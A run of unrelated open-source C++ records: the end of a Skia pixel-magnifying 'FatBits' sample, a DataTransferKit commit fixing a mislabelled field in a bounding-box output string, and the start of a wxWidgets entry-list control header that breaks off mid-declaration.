fUseClip = false;\n        \n        fClipRect.set(2, 2, 11, 8 );\n    }\n\n    int getZoom() const { return fZ; }\n\n    bool getAA() const { return fAA; }\n    void setAA(bool aa) { fAA = aa; }\n\n    bool getGrid() const { return fGrid; }\n    void setGrid(bool g) { fGrid = g; }\n\n    bool getShowSkeleton() const { return fShowSkeleton; }\n    void setShowSkeleton(bool ss) { fShowSkeleton = ss; }\n\n    bool getUseGPU() const { return fUseGPU; }\n    void setUseGPU(bool ug) { fUseGPU = ug; }\n\n    bool getUseClip() const { return fUseClip; }\n    void setUseClip(bool uc) { fUseClip = uc; }\n\n    enum Style {\n        kHair_Style,\n        kStroke_Style,\n    };\n    Style getStyle() const { return fStyle; }\n    void setStyle(Style s) { fStyle = s; }\n\n    void setWHZ(int width, int height, int zoom) {\n        fW = width;\n        fH = height;\n        fZ = zoom;\n        fBounds.set(0, 0, SkIntToScalar(width * zoom), SkIntToScalar(height * zoom));\n        fMatrix.setScale(SkIntToScalar(zoom), SkIntToScalar(zoom));\n        fInverse.setScale(SK_Scalar1 \/ zoom, SK_Scalar1 \/ zoom);\n        fShader->setLocalMatrix(fMatrix);\n\n        SkImage::Info info = {\n            width, height, SkImage::kPMColor_ColorType, SkImage::kPremul_AlphaType\n        };\n        fMinSurface.reset(SkSurface::NewRaster(info, NULL));\n        info.fWidth *= zoom;\n        info.fHeight *= zoom;\n        fMaxSurface.reset(SkSurface::NewRaster(info, NULL));\n    }\n\n    void drawBG(SkCanvas*);\n    void drawFG(SkCanvas*);\n    void drawLine(SkCanvas*, SkPoint pts[2]);\n    void drawRect(SkCanvas* canvas, SkPoint pts[2]);\n\nprivate:\n    bool fAA, fGrid, fShowSkeleton, fUseGPU, fUseClip;\n    Style fStyle;\n    int fW, fH, fZ;\n    SkMatrix fMatrix, fInverse;\n    SkRect   fBounds, fClipRect;\n    SkAutoTUnref<SkShader> fShader;\n    SkAutoTUnref<SkSurface> fMinSurface;\n    SkAutoTUnref<SkSurface> fMaxSurface;\n\n    void setupPaint(SkPaint* paint) {\n        bool aa = this->getAA();\n        switch (fStyle) {\n            case kHair_Style:\n                paint->setStrokeWidth(0);\n                break;\n            case kStroke_Style:\n                paint->setStrokeWidth(SK_Scalar1);\n\/\/                paint->setStrokeWidth(SK_Scalar1 + SK_Scalar1\/500);\n                break;\n        }\n        paint->setAntiAlias(aa);\n    }\n\n    void setupSkeletonPaint(SkPaint* paint) {\n        paint->setStyle(SkPaint::kStroke_Style);\n        paint->setStrokeWidth(WIRE_FRAME_SIZE);\n        paint->setColor(fShowSkeleton ? WIRE_FRAME_COLOR : 0);\n        paint->setAntiAlias(true);\n    }\n\n    void drawLineSkeleton(SkCanvas* max, const SkPoint pts[]);\n    void drawRectSkeleton(SkCanvas* max, const SkRect& r) {\n        SkPaint paint;\n        this->setupSkeletonPaint(&paint);\n        SkPath path;\n\n        if (fUseGPU && fAA) {\n            SkRect rr = r;\n            rr.inset(fZ\/2, fZ\/2);\n            path.addRect(rr);\n            path.moveTo(rr.fLeft, rr.fTop);\n            path.lineTo(rr.fRight, rr.fBottom);\n            rr = r;\n            rr.inset(-fZ\/2, -fZ\/2);\n            path.addRect(rr);\n        } else {\n            path.addRect(r);\n            if (fUseGPU) {\n                path.moveTo(r.fLeft, r.fTop);\n                path.lineTo(r.fRight, r.fBottom);\n            }\n        }\n        max->drawPath(path, paint);\n    }\n\n    void copyMinToMax() {\n        erase(fMaxSurface);\n        SkCanvas* canvas = fMaxSurface->getCanvas();\n        canvas->save();\n        canvas->concat(fMatrix);\n        fMinSurface->draw(canvas, 0, 0, NULL);\n        canvas->restore();\n\n        SkPaint paint;\n        paint.setXfermodeMode(SkXfermode::kClear_Mode);\n        for (int iy = 1; iy < fH; ++iy) {\n            SkScalar y = SkIntToScalar(iy * fZ);\n            canvas->drawLine(0, y - SK_ScalarHalf, 999, y - SK_ScalarHalf, paint);\n        }\n        for (int ix = 1; ix < fW; ++ix) {\n            SkScalar x = SkIntToScalar(ix * fZ);\n            canvas->drawLine(x - SK_ScalarHalf, 0, x - SK_ScalarHalf, 999, paint);\n        }\n    }\n};\n\nvoid FatBits::drawBG(SkCanvas* canvas) {\n    SkPaint paint;\n\n    paint.setShader(fShader);\n    canvas->drawRect(fBounds, paint);\n    paint.setShader(NULL);\n}\n\nvoid FatBits::drawFG(SkCanvas* canvas) {\n    SkPaint inner, outer;\n\n    inner.setAntiAlias(true);\n    inner.setColor(SK_ColorBLACK);\n    inner.setStrokeWidth(PIXEL_CENTER_SIZE);\n\n    outer.setAntiAlias(true);\n    outer.setColor(SK_ColorWHITE);\n    outer.setStrokeWidth(PIXEL_CENTER_SIZE + 2);\n\n    SkScalar half = SkIntToScalar(fZ) \/ 2;\n    for (int iy = 0; iy < fH; ++iy) {\n        SkScalar y = SkIntToScalar(iy * fZ) + half;\n        for (int ix = 0; ix < fW; ++ix) {\n            SkScalar x = SkIntToScalar(ix * fZ) + half;\n\n            canvas->drawPoint(x, y, outer);\n            canvas->drawPoint(x, y, inner);\n        }\n    }\n\n    if (fUseClip) {\n        SkPaint p;\n        p.setStyle(SkPaint::kStroke_Style);\n        p.setColor(SK_ColorLTGRAY);\n        SkRect r = {\n            fClipRect.fLeft * fZ,\n            fClipRect.fTop * fZ,\n            fClipRect.fRight * fZ,\n            fClipRect.fBottom * fZ\n        };\n        canvas->drawRect(r, p);\n    }\n}\n\nvoid FatBits::drawLineSkeleton(SkCanvas* max, const SkPoint pts[]) {\n    SkPaint paint;\n    this->setupSkeletonPaint(&paint);\n\n    SkPath path;\n    path.moveTo(pts[0]);\n    path.lineTo(pts[1]);\n\n    switch (fStyle) {\n        case kHair_Style:\n            if (fUseGPU) {\n                SkPaint p;\n                p.setStyle(SkPaint::kStroke_Style);\n                p.setStrokeWidth(SK_Scalar1 * fZ);\n                SkPath dst;\n                p.getFillPath(path, &dst);\n                path.addPath(dst);\n            }\n            break;\n        case kStroke_Style: {\n            SkPaint p;\n            p.setStyle(SkPaint::kStroke_Style);\n            p.setStrokeWidth(SK_Scalar1 * fZ);\n            SkPath dst;\n            p.getFillPath(path, &dst);\n            path = dst;\n\n            if (fUseGPU) {\n                path.moveTo(dst.getPoint(0));\n                path.lineTo(dst.getPoint(2));\n            }\n        } break;\n    }\n    max->drawPath(path, paint);\n}\n\nvoid FatBits::drawLine(SkCanvas* canvas, SkPoint pts[]) {\n    SkPaint paint;\n\n    fInverse.mapPoints(pts, 2);\n\n    if (fGrid) {\n        SkScalar dd = 0;\/\/SK_Scalar1 \/ 50;\n        pts[0].set(SkScalarRoundToScalar(pts[0].fX) + dd,\n                   SkScalarRoundToScalar(pts[0].fY) + dd);\n        pts[1].set(SkScalarRoundToScalar(pts[1].fX) + dd,\n                   SkScalarRoundToScalar(pts[1].fY) + dd);\n    }\n\n    erase(fMinSurface);\n    this->setupPaint(&paint);\n    paint.setColor(FAT_PIXEL_COLOR);\n    if (fUseClip) {\n        fMinSurface->getCanvas()->save();\n        SkRect r = fClipRect;\n        r.inset(SK_Scalar1\/3, SK_Scalar1\/3);\n        fMinSurface->getCanvas()->clipRect(r, SkRegion::kIntersect_Op, true);\n    }\n    fMinSurface->getCanvas()->drawLine(pts[0].fX, pts[0].fY, pts[1].fX, pts[1].fY, paint);\n    if (fUseClip) {\n        fMinSurface->getCanvas()->restore();\n    }\n    this->copyMinToMax();\n\n    SkCanvas* max = fMaxSurface->getCanvas();\n\n    fMatrix.mapPoints(pts, 2);\n    this->drawLineSkeleton(max, pts);\n\n    fMaxSurface->draw(canvas, 0, 0, NULL);\n}\n\nvoid FatBits::drawRect(SkCanvas* canvas, SkPoint pts[2]) {\n    SkPaint paint;\n\n    fInverse.mapPoints(pts, 2);\n\n    if (fGrid) {\n        pts[0].set(SkScalarRoundToScalar(pts[0].fX), SkScalarRoundToScalar(pts[0].fY));\n        pts[1].set(SkScalarRoundToScalar(pts[1].fX), SkScalarRoundToScalar(pts[1].fY));\n    }\n\n    SkRect r;\n    r.set(pts, 2);\n\n    erase(fMinSurface);\n    this->setupPaint(&paint);\n    paint.setColor(FAT_PIXEL_COLOR);\n    fMinSurface->getCanvas()->drawRect(r, paint);\n    this->copyMinToMax();\n\n    SkCanvas* max = fMaxSurface->getCanvas();\n\n    fMatrix.mapPoints(pts, 2);\n    r.set(pts, 2);\n    this->drawRectSkeleton(max, r);\n\n    fMaxSurface->draw(canvas, 0, 0, NULL);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass IndexClick : public SkView::Click {\n    int fIndex;\npublic:\n    IndexClick(SkView* v, int index) : SkView::Click(v), fIndex(index) {}\n\n    static int GetIndex(SkView::Click* click) {\n        return ((IndexClick*)click)->fIndex;\n    }\n};\n\nclass DrawLineView : public SampleView {\n    FatBits fFB;\n    SkPoint fPts[2];\n    bool    fIsRect;\npublic:\n    DrawLineView() {\n        fFB.setWHZ(24, 16, 48);\n        fPts[0].set(48, 48);\n        fPts[1].set(48 * 5, 48 * 4);\n        fIsRect = false;\n    }\n\n    void setStyle(FatBits::Style s) {\n        fFB.setStyle(s);\n        this->inval(NULL);\n    }\n\nprotected:\n    virtual bool onQuery(SkEvent* evt) SK_OVERRIDE {\n        if (SampleCode::TitleQ(*evt)) {\n            SampleCode::TitleR(evt, \"FatBits\");\n            return true;\n        }\n        SkUnichar uni;\n        if (SampleCode::CharQ(*evt, &uni)) {\n            switch (uni) {\n                case 'c':\n                    fFB.setUseClip(!fFB.getUseClip());\n                    this->inval(NULL);\n                    return true;\n                case 'r':\n                    fIsRect = !fIsRect;\n                    this->inval(NULL);\n                    return true;\n                case 'x':\n                    fFB.setGrid(!fFB.getGrid());\n                    this->inval(NULL);\n                    return true;\n                case 's':\n                    if (FatBits::kStroke_Style == fFB.getStyle()) {\n                        this->setStyle(FatBits::kHair_Style);\n                    } else {\n                        this->setStyle(FatBits::kStroke_Style);\n                    }\n                    return true;\n                case 'a':\n                    fFB.setAA(!fFB.getAA());\n                    this->inval(NULL);\n                    return true;\n                case 'w':\n                    fFB.setShowSkeleton(!fFB.getShowSkeleton());\n                    this->inval(NULL);\n                    return true;\n                case 'g':\n                    fFB.setUseGPU(!fFB.getUseGPU());\n                    this->inval(NULL);\n                    return true;\n            }\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n\n    virtual void onDrawContent(SkCanvas* canvas) {\n        fFB.drawBG(canvas);\n        if (fIsRect) {\n            fFB.drawRect(canvas, fPts);\n        } else {\n            fFB.drawLine(canvas, fPts);\n        }\n        fFB.drawFG(canvas);\n\n        {\n            SkString str;\n            str.printf(\"%s %s %s %s\",\n                       fFB.getAA() ? \"AA\" : \"BW\",\n                       FatBits::kHair_Style == fFB.getStyle() ? \"Hair\" : \"Stroke\",\n                       fFB.getUseGPU() ? \"GPU\" : \"CPU\",\n                       fFB.getUseClip() ? \"clip\" : \"noclip\");\n            SkPaint paint;\n            paint.setAntiAlias(true);\n            paint.setTextSize(16);\n            paint.setColor(SK_ColorBLUE);\n            canvas->drawText(str.c_str(), str.size(), 10, 16, paint);\n        }\n    }\n\n    virtual SkView::Click* onFindClickHandler(SkScalar x, SkScalar y) {\n        SkPoint pt = { x, y };\n        int index = -1;\n        SkScalar tol = 12;\n        if (fPts[0].equalsWithinTolerance(pt, tol)) {\n            index = 0;\n        } else if (fPts[1].equalsWithinTolerance(pt, tol)) {\n            index = 1;\n        }\n        return new IndexClick(this, index);\n    }\n\n    virtual bool onClick(Click* click) {\n        int index = IndexClick::GetIndex(click);\n        if (index >= 0 && index <= 1) {\n            fPts[index] = click->fCurr;\n        } else {\n            SkScalar dx = click->fCurr.fX - click->fPrev.fX;\n            SkScalar dy = click->fCurr.fY - click->fPrev.fY;\n            fPts[0].offset(dx, dy);\n            fPts[1].offset(dx, dy);\n        }\n        this->inval(NULL);\n        return true;\n    }\n\nprivate:\n\n    typedef SampleView INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic SkView* MyFactory() { return new DrawLineView; }\nstatic SkViewRegister reg(MyFactory);\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/---------------------------------------------------------------------------\/\/\n\/*\n  Copyright (c) 2012, Stuart R. Slattery\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are\n  met:\n\n  *: Redistributions of source code must retain the above copyright\n  notice, this list of conditions and the following disclaimer.\n\n  *: Redistributions in binary form must reproduce the above copyright\n  notice, this list of conditions and the following disclaimer in the\n  documentation and\/or other materials provided with the distribution.\n\n  *: Neither the name of the University of Wisconsin - Madison nor the\n  names of its contributors may be used to endorse or promote products\n  derived from this software without specific prior written permission.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n  HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n  * \\file DTK_Box.cpp\n  * \\author Stuart R. Slattery\n  * \\brief Bounding box definition.\n  *\/\n\/\/---------------------------------------------------------------------------\/\/\n\n#include \"DTK_Box.hpp\"\n#include \"DTK_Assertion.hpp\"\n\nnamespace DataTransferKit\n{\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Default constructor.\n *\/\nBox::Box()\n    : d_x_min( 0.0 )\n    , d_y_min( 0.0 )\n    , d_z_min( 0.0 )\n    , d_x_max( 0.0 )\n    , d_y_max( 0.0 )\n    , d_z_max( 0.0 )\n{ \/* ... *\/ }\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Constructor.\n *\n * \\param x_min Minimum x coordinate value in the box.\n *\n * \\param y_min Minimum y coordinate value in the box.\n *\n * \\param z_min Minimum z coordinate value in the box.\n *\n * \\param x_max Maximum x coordinate value in the box.\n *\n * \\param y_max Maximum y coordinate value in the box.\n *\n * \\param z_max Maximum z coordinate value in the box.\n *\/\nBox::Box( \n    const double x_min, const double y_min, const double z_min,\n    const double x_max, const double y_max, const double z_max )\n    : d_x_min( x_min )\n    , d_y_min( y_min )\n    , d_z_min( z_min )\n    , d_x_max( x_max )\n    , d_y_max( y_max )\n    , d_z_max( z_max )\n{\n    testPrecondition( d_x_min <= d_x_max );\n    testPrecondition( d_y_min <= d_y_max );\n    testPrecondition( d_z_min <= d_z_max );\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Tuple constructor.\n *\n * \\param bounds Tuple containing {x_min, y_min, z_min, x_max, y_max, z_max}.\n *\/\nBox::Box( const Teuchos::Tuple<double,6>& bounds )\n    : d_x_min( bounds[0] )\n    , d_y_min( bounds[1] )\n    , d_z_min( bounds[2] )\n    , d_x_max( bounds[3] )\n    , d_y_max( bounds[4] )\n    , d_z_max( bounds[5] )\n{\n    testPrecondition( d_x_min <= d_x_max );\n    testPrecondition( d_y_min <= d_y_max );\n    testPrecondition( d_z_min <= d_z_max );\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Destructor.\n *\/\nBox::~Box()\n{ \/* ... *\/ }\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Determine if a point is in the box within a specified tolerance.\n *\n * \\param coords Cartesian coordinates to check for point inclusion. The\n * coordinates must have a dimension between 0 and 3.\n *\n * \\param tolerance The geometric tolerance to check point-inclusion with.\n *\n * \\return Return true if the point is in the box, false if not. A point on\n * the box boundary will return true.\n *\/\nbool Box::pointInBox( const Teuchos::Array<double>& coords,\n\t\t      const double tolerance ) const\n{\n    testPrecondition( 3 == coords.size() );\n\n    if ( coords[0] >= d_x_min - tolerance &&\n\t coords[1] >= d_y_min - tolerance &&\n\t coords[2] >= d_z_min - tolerance &&\n\t coords[0] <= d_x_max + tolerance &&\n\t coords[1] <= d_y_max + tolerance &&\n\t coords[2] <= d_z_max + tolerance )\n    {\n\treturn true;\n    }\n\n    return false;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Compute the volume of the box.\n *\n * \\return Return the volume of the box.\n *\/\ndouble Box::volume() const\n{\n    return (d_x_max-d_x_min)*(d_y_max-d_y_min)*(d_z_max-d_z_min);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Compute the bounding box around the box.\n *\n * \\return The bounding box around the box.\n *\/\nBoundingBox Box::boundingBox() const\n{\n    return BoundingBox( d_x_min, d_y_min, d_z_min, d_x_max, d_y_max, d_z_max );\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Get the centroid of the box.\n *\n * \\return The centroid coordinates.\n *\/\nTeuchos::Array<double> Box::centroid() const\n{\n    Teuchos::Array<double> center(3);\n    center[0] = (d_x_max + d_x_min) \/ 2.0;\n    center[1] = (d_y_max + d_y_min) \/ 2.0;\n    center[2] = (d_z_max + d_z_min) \/ 2.0;\n    return center;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Print the box description to an ostream.\n *\n * \\return The ostream.\n *\/\n\n\/\/---------------------------------------------------------------------------\/\/\nstd::ostream& operator<< (std::ostream& os,const DataTransferKit::Box& b)\n{\n  Teuchos::Tuple<double,6> bounds = b.getBounds();\n\n  os << \"Box: d_x_min=\" << bounds[0] \n     << \",d_y_min=\" << bounds[1]\n     << \",d_z_min=\" << bounds[2]\n     << \",d_x_max=\" << bounds[3]\n     << \",d_y_max=\" << bounds[4]\n     << \",d_x_max=\" << bounds[5];\n\n  return os;\n}\n\n} \/\/ end namespace DataTransferKit\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ end DTK_Box.cpp\n\/\/---------------------------------------------------------------------------\/\/\n\n<commit_msg>Fixing output string.<commit_after>\/\/---------------------------------------------------------------------------\/\/\n\/*\n  Copyright (c) 2012, Stuart R. Slattery\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are\n  met:\n\n  *: Redistributions of source code must retain the above copyright\n  notice, this list of conditions and the following disclaimer.\n\n  *: Redistributions in binary form must reproduce the above copyright\n  notice, this list of conditions and the following disclaimer in the\n  documentation and\/or other materials provided with the distribution.\n\n  *: Neither the name of the University of Wisconsin - Madison nor the\n  names of its contributors may be used to endorse or promote products\n  derived from this software without specific prior written permission.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n  HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n  * \\file DTK_Box.cpp\n  * \\author Stuart R. Slattery\n  * \\brief Bounding box definition.\n  *\/\n\/\/---------------------------------------------------------------------------\/\/\n\n#include \"DTK_Box.hpp\"\n#include \"DTK_Assertion.hpp\"\n\nnamespace DataTransferKit\n{\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Default constructor.\n *\/\nBox::Box()\n    : d_x_min( 0.0 )\n    , d_y_min( 0.0 )\n    , d_z_min( 0.0 )\n    , d_x_max( 0.0 )\n    , d_y_max( 0.0 )\n    , d_z_max( 0.0 )\n{ \/* ... *\/ }\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Constructor.\n *\n * \\param x_min Minimum x coordinate value in the box.\n *\n * \\param y_min Minimum y coordinate value in the box.\n *\n * \\param z_min Minimum z coordinate value in the box.\n *\n * \\param x_max Maximum x coordinate value in the box.\n *\n * \\param y_max Maximum y coordinate value in the box.\n *\n * \\param z_max Maximum z coordinate value in the box.\n *\/\nBox::Box( \n    const double x_min, const double y_min, const double z_min,\n    const double x_max, const double y_max, const double z_max )\n    : d_x_min( x_min )\n    , d_y_min( y_min )\n    , d_z_min( z_min )\n    , d_x_max( x_max )\n    , d_y_max( y_max )\n    , d_z_max( z_max )\n{\n    testPrecondition( d_x_min <= d_x_max );\n    testPrecondition( d_y_min <= d_y_max );\n    testPrecondition( d_z_min <= d_z_max );\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Tuple constructor.\n *\n * \\param bounds Tuple containing {x_min, y_min, z_min, x_max, y_max, z_max}.\n *\/\nBox::Box( const Teuchos::Tuple<double,6>& bounds )\n    : d_x_min( bounds[0] )\n    , d_y_min( bounds[1] )\n    , d_z_min( bounds[2] )\n    , d_x_max( bounds[3] )\n    , d_y_max( bounds[4] )\n    , d_z_max( bounds[5] )\n{\n    testPrecondition( d_x_min <= d_x_max );\n    testPrecondition( d_y_min <= d_y_max );\n    testPrecondition( d_z_min <= d_z_max );\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Destructor.\n *\/\nBox::~Box()\n{ \/* ... *\/ }\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Determine if a point is in the box within a specified tolerance.\n *\n * \\param coords Cartesian coordinates to check for point inclusion. The\n * coordinates must have a dimension between 0 and 3.\n *\n * \\param tolerance The geometric tolerance to check point-inclusion with.\n *\n * \\return Return true if the point is in the box, false if not. A point on\n * the box boundary will return true.\n *\/\nbool Box::pointInBox( const Teuchos::Array<double>& coords,\n\t\t      const double tolerance ) const\n{\n    testPrecondition( 3 == coords.size() );\n\n    if ( coords[0] >= d_x_min - tolerance &&\n\t coords[1] >= d_y_min - tolerance &&\n\t coords[2] >= d_z_min - tolerance &&\n\t coords[0] <= d_x_max + tolerance &&\n\t coords[1] <= d_y_max + tolerance &&\n\t coords[2] <= d_z_max + tolerance )\n    {\n\treturn true;\n    }\n\n    return false;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Compute the volume of the box.\n *\n * \\return Return the volume of the box.\n *\/\ndouble Box::volume() const\n{\n    return (d_x_max-d_x_min)*(d_y_max-d_y_min)*(d_z_max-d_z_min);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Compute the bounding box around the box.\n *\n * \\return The bounding box around the box.\n *\/\nBoundingBox Box::boundingBox() const\n{\n    return BoundingBox( d_x_min, d_y_min, d_z_min, d_x_max, d_y_max, d_z_max );\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Get the centroid of the box.\n *\n * \\return The centroid coordinates.\n *\/\nTeuchos::Array<double> Box::centroid() const\n{\n    Teuchos::Array<double> center(3);\n    center[0] = (d_x_max + d_x_min) \/ 2.0;\n    center[1] = (d_y_max + d_y_min) \/ 2.0;\n    center[2] = (d_z_max + d_z_min) \/ 2.0;\n    return center;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief Print the box description to an ostream.\n *\n * \\return The ostream.\n *\/\n\n\/\/---------------------------------------------------------------------------\/\/\nstd::ostream& operator<< (std::ostream& os,const DataTransferKit::Box& b)\n{\n  Teuchos::Tuple<double,6> bounds = b.getBounds();\n\n  os << \"Box: d_x_min=\" << bounds[0] \n     << \",d_y_min=\" << bounds[1]\n     << \",d_z_min=\" << bounds[2]\n     << \",d_x_max=\" << bounds[3]\n     << \",d_y_max=\" << bounds[4]\n     << \",d_z_max=\" << bounds[5];\n\n  return os;\n}\n\n} \/\/ end namespace DataTransferKit\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ end DTK_Box.cpp\n\/\/---------------------------------------------------------------------------\/\/\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2013 Matthew Harvey\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef GUARD_entry_list_ctrl_hpp_03525603377970682\n#define GUARD_entry_list_ctrl_hpp_03525603377970682\n\n#include \"entry_table_iterator.hpp\"\n#include \"reconciliation_list_panel.hpp\"\n#include \"summary_datum.hpp\"\n#include <boost\/date_time\/gregorian\/gregorian.hpp>\n#include <boost\/optional.hpp>\n#include <sqloxx\/handle_fwd.hpp>\n#include <sqloxx\/sql_statement_fwd.hpp>\n#include <wx\/event.h>\n#include <wx\/gdicmn.h>\n#include <wx\/listctrl.h>\n#include <memory>\n#include <unordered_set>\n#include <vector>\n\nnamespace dcm\n{\n\n\/\/ Begin forward declarations\n\nclass Account;\nclass Entry;\nclass DateParser;\nclass OrdinaryJournal;\nclass DcmDatabaseConnection;\n\nnamespace gui\n{\n\nclass ReconciliationEntryListCtrl;\n\n\/\/ End forward declarations\n\n\/**\n * Displays a list of Entries. Derived classes must define various\n * pure virtual functions - and may override certain impure virtual functions\n * - to govern which Entries are displayed, and which columns of data are\n * displayed. However every EntryListCtrl will have the date of the Entry\n * showing in the first column, and should only ever show Entries from\n * OrdinaryJournals (not DraftJournals).\n *\n * @todo LOW PRIORITY Better document the interface with derived classes.\n *\/\nclass EntryListCtrl: public wxListCtrl\n{\npublic:\n\n\t\/**\n\t * @returns a pointer to a heap-allocated EntryListCtrl, listing\n\t * all and only the \\e actual (non-budget) OrdinaryEntries stored in\n\t * \\e p_account.database_connection() which have \\e p_account as their\n\t * Account, and which lie between the date stored in p_maybe_min_date\n\t * and the date stored in p_maybe_max_date, inclusive. If\n\t * p_maybe_min_date is an uninitialized optional, then there is no\n\t * minimum date; and if p_maybe_max_date is an uninitialized optional\n\t * then there is no maximum date. Having said this, even if there is no\n\t * minimum date, then the opening balance date may act as an effective\n\t * minimum date...\n\t *\n\t * Caller has responsibility for managing the pointed-to memory.\n\t *\/\n\tstatic EntryListCtrl* create_actual_ordinary_entry_list\n\t(\twxWindow* p_parent,\n\t\twxSize const& p_size,\n\t\tsqloxx::Handle<Account> const& p_account,\n\t\tboost::optional<boost::gregorian::date> const& p_maybe_min_date =\n\t\t\tboost::optional<boost::gregorian::date>(),\n\t\tboost::optional<boost::gregorian::date> const& p_maybe_max_date =\n\t\t\tboost::optional<boost::gregorian::date>()\n\t);\n\n\t\/**\n\t * @returns a pointer to a heap-allocated EntryListCtrl, especially\n\t * designed to facilitate balance sheet Account reconciliations.\n\t *\n\t * \\e p_account should be handle to a balance sheet Account.\n\t *\n\t * Caller has responsibility for managing the pointed-to memory.\n\t *\/\n\tstatic ReconciliationEntryListCtrl* create_reconciliation_entry_list\n\t(\tReconciliationListPanel* p_parent,\n\t\twxSize const& p_size,\n\t\tsqloxx::Handle<Account> const& p_account,\n\t\tboost::gregorian::date const& p_min_date,\n\t\tboost::gregorian::date const& p_max_date\n\t);\n\n\tEntryListCtrl(EntryListCtrl const&) = delete;\n\tEntryListCtrl(EntryListCtrl&&) = delete;\n\tEntryListCtrl& operator=(EntryListCtrl const&) = delete;\n\tEntryListCtrl& operator=(EntryListCtrl&&) = delete;\n\tvirtual ~EntryListCtrl();\n\n\t\/**\n\t * Update displayed entries to reflect that \\e p_journal has been newly\n\t * posted (having not previously existed in the database).\n\t *\/\n\tvoid update_for_new(sqloxx::Handle<OrdinaryJournal> const& p_journal);\n\n\t\/**\n\t * Update displayed entries to reflect that \\e p_account has been newly\n\t * created and saved (having not previously existed in the database.\n\t *\/\n\tvoid update_for_new(sqloxx::Handle<Account> const& 